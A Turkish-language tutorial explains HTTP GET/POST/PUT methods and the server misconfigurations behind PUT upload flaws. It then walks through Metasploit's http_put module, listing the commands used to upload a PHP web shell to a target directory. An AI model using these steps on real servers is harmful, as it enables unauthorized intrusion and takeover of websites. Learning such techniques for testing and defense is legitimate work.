Merhaba arkadaşlar, bugün sizlere HTTP GET–POST–PUT metodları nedir, nerelerde karşımıza çıkar ve siber güvenlik tarafında bu konular neden önemlidir konularını temel, anlaşılır bir çerçevede anlatıp siteye "Metasploit" yardımıyla nasıl shell yüklenir onu göstereceğim.
HTTP, tarayıcı ile sunucu arasında konuşulan dildir. Bu konuşma “metodlar” üzerinden yapılır.
GET
Veri almak için kullanılır
Adres çubuğunda görünür
POST
Sunucuya veri göndermek için kullanılır
Genelde form gönderimlerinde kullanılır
URL’de görünmez
PUT
Var olan bir kaynağı güncellemek için kullanılır
Genelde API’lerde görülür
Put Method İnjection nedir
PUT metodunun enjeksiyonu veya istismarı, sunucuya izinsiz dosya yüklemek anlamına gelir. Normalde bir web sitesine dosya yüklemek için özel bir form (upload page) ve kodlanmış bir mantık gerekir. Ancak PUT metodu doğrudan sunucu işletim sistemiyle konuşurSaldırı Senaryosunu şöyle özetleyecek olursak;
Keşif: Saldırgan OPTIONS metodunu kullanarak sunucuya hangi metotların açık olduğunu sorar.
Yanıt: Sunucu "GET, POST, PUT, DELETE" diyerek yanıt verir.
Enjeksiyon: Saldırgan, normalde olmayan bir yolu (örneğin /uploads/hack.php) hedefleyerek ve PUT metodunu kullanarak kendi hazırladığı zararlı dosyayı sunucuya enjekte eder.
Sonuç: Sunucu bu isteği kabul ederse, artık sunucunun içinde saldırgana ait bir kod (Web Shell) çalışmaya başlar.
Bu güvenlik açığı neden oluşur
Bu durum genellikle yanlış yapılandırma (Misconfiguration) sonucudur:WebDAV'ın Açık Kalması: WebDAV, HTTP üzerinden dosya yönetimini sağlayan bir eklentidir ve genellikle PUT/DELETE metotlarını kullanır. Şifresiz bırakıldığında herkes dosya yükleyebilir.
Yetkilendirme Eksikliği: Sunucunun, PUT isteği yapan kişinin gerçekten bir "admin" olup olmadığını kontrol etmemesi.
Gevşek Filtreler: Güvenlik duvarlarının (WAF) sadece klasik GET/POST saldırılarını tarayıp PUT isteklerini "zararsız" sanarak geçirmesi.
Bu metodlar nerelerde karşımıza çıkar
Web sitelerinde (formlar, login sayfaları)Mobil uygulamaların arka planında
REST API’lerde
Admin panellerinde
GET / PUT Injection Nasıl Oluşur
Injection, bir uygulamanın:
Kullanıcıdan gelen veriyi kontrol etmeden sistemde çalıştırması durumudur
Şimdi oluşacak injection zaafiyetini Metasploitle nasıl kullanabiliriz, nasıl hedef sisteme shell upload edebiliriz onu adımlarıyla göstereceğim
Öncelikle Terminalimize "msfconsole" yazıp Metasploitimizi çalıştırıyoruz
Daha sonrasında terminale use auxiliary/scanner/http/http_put HTTP "PUT" metodunun aktif olup olmadığını ve bu metodu kullanarak sunucuya dosya yükleyip yükleyemeyeceğinizi kontrol edelim
Sonrasında set RHOST komutuyla ipadresi yazarak hedef sistemimizin ip adresini girelim
Sonrasında terminalimize sistemde açık olan portu "set rport "komutuyla ve hangi klasör veya dizinle işlem yapılacaksa ismini "set path /işlemyapılacakdizinismi" girelim biz /upload dizininde işlem yapacağız.
Daha sonrasında set filename komutuyla hedef sunucuya yüklenecek olan dosyanın adını belirleyelim biz k2ll33d.php isimli shelli upload edeceğiz ardından show options komutuyla bakalım
Daha sonrasında "set filedata file:///home/kali/Desktop/yükleyeceğiniz dosya" komutuyla bilgisayarınızdaki (Kali Linux) dosyasının tam yolunu girelim biz shell upload ettiğimiz için böyle bir ekranla karşılaştık
Daha sonrasında "run" veya "exploit" komutuyla çalıştıralım evet artık sistemimize shellimizi yükledik





